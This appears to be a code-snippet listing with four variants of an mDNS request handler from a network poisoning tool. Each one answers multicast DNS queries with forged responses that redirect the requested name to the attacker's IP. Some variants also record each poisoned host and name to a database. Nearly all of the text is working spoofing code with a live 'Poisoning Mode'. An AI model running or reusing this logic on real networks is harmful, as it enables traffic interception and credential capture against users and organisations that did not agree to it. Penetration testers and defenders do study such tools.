Example #1
0
	def handle(self):

		MADDR = "224.0.0.251"
		MPORT = 5353

		data, soc = self.request
		Request_Name = Parse_MDNS_Name(data)

		# Break out if we don't want to respond to this host
		if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True):
			return None

		try:
			# Analyze Mode
			if settings.Config.AnalyzeMode:
				if Parse_IPV6_Addr(data):
					print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))

			# Poisoning Mode
			else:
				if Parse_IPV6_Addr(data):
					
					Poisoned_Name = Poisoned_MDNS_Name(data)
					Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=socket.inet_aton(settings.Config.Bind_To))
					Buffer.calculate()
					soc.sendto(str(Buffer), (MADDR, MPORT))
					
					print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)

		except Exception:
			raise
Example #2
0
	def handle(self):
		MADDR = "224.0.0.251"
		MPORT = 5353

		data, soc = self.request
		Request_Name = Parse_MDNS_Name(data)

		# Break out if we don't want to respond to this host
		if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True):
			return None

		if settings.Config.AnalyzeMode:  # Analyze Mode
			if Parse_IPV6_Addr(data):
				print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
                                SavePoisonersToDb({
			                           'Poisoner': 'MDNS', 
			                           'SentToIp': self.client_address[0], 
			                           'ForName': Request_Name,
			                           'AnalyzeMode': '1',
		                                  })
		else:  # Poisoning Mode
			if Parse_IPV6_Addr(data):

				Poisoned_Name = Poisoned_MDNS_Name(data)
				Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=RespondWithIPAton())
				Buffer.calculate()
				soc.sendto(str(Buffer), (MADDR, MPORT))

				print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
                                SavePoisonersToDb({
			                           'Poisoner': 'MDNS', 
			                           'SentToIp': self.client_address[0], 
			                           'ForName': Request_Name,
			                           'AnalyzeMode': '0',
		                                  })
Example #3
0
    def handle(self):
        MADDR = "224.0.0.251"
        MPORT = 5353

        data, soc = self.request
        Request_Name = Parse_MDNS_Name(data)

        # Break out if we don't want to respond to this host
        if (not Request_Name) or (RespondToThisHost(self.client_address[0],
                                                    Request_Name) is not True):
            return None

        if settings.Config.AnalyzeMode:  # Analyze Mode
            if Parse_IPV6_Addr(data):
                print text(
                    '[Analyze mode: MDNS] Request by %-15s for %s, ignoring' %
                    (color(self.client_address[0], 3), color(Request_Name, 3)))
        else:  # Poisoning Mode
            if Parse_IPV6_Addr(data):

                Poisoned_Name = Poisoned_MDNS_Name(data)
                Buffer = MDNS_Ans(AnswerName=Poisoned_Name,
                                  IP=socket.inet_aton(settings.Config.Bind_To))
                Buffer.calculate()
                soc.sendto(str(Buffer), (MADDR, MPORT))

                print color(
                    '[*] [MDNS] Poisoned answer sent to %-15s for name %s' %
                    (self.client_address[0], Request_Name), 2, 1)
Example #4
0
    def handle(self):
        MADDR = "224.0.0.251"
        MPORT = 5353

        data, soc = self.request
        Request_Name = Parse_MDNS_Name(data)

        # Break out if we don't want to respond to this host
        if (not Request_Name) or (RespondToThisHost(self.client_address[0],
                                                    Request_Name) is not True):
            return None

        if settings.Config.AnalyzeMode:  # Analyze Mode
            if Parse_IPV6_Addr(data):
                print(
                    text(
                        '[Analyze mode: MDNS] Request by %-15s for %s, ignoring'
                        % (color(self.client_address[0],
                                 3), color(Request_Name, 3))))
                SavePoisonersToDb({
                    'Poisoner': 'MDNS',
                    'SentToIp': self.client_address[0],
                    'ForName': Request_Name,
                    'AnalyzeMode': '1',
                })
        else:  # Poisoning Mode
            if Parse_IPV6_Addr(data):

                Poisoned_Name = Poisoned_MDNS_Name(data)
                Buffer = MDNS_Ans(AnswerName=Poisoned_Name,
                                  IP=RespondWithIPAton())
                Buffer.calculate()
                soc.sendto(NetworkSendBufferPython2or3(Buffer), (MADDR, MPORT))

                print(
                    color(
                        '[*] [MDNS] Poisoned answer sent to %-15s for name %s'
                        % (self.client_address[0], Request_Name), 2, 1))
                SavePoisonersToDb({
                    'Poisoner': 'MDNS',
                    'SentToIp': self.client_address[0],
                    'ForName': Request_Name,
                    'AnalyzeMode': '0',
                })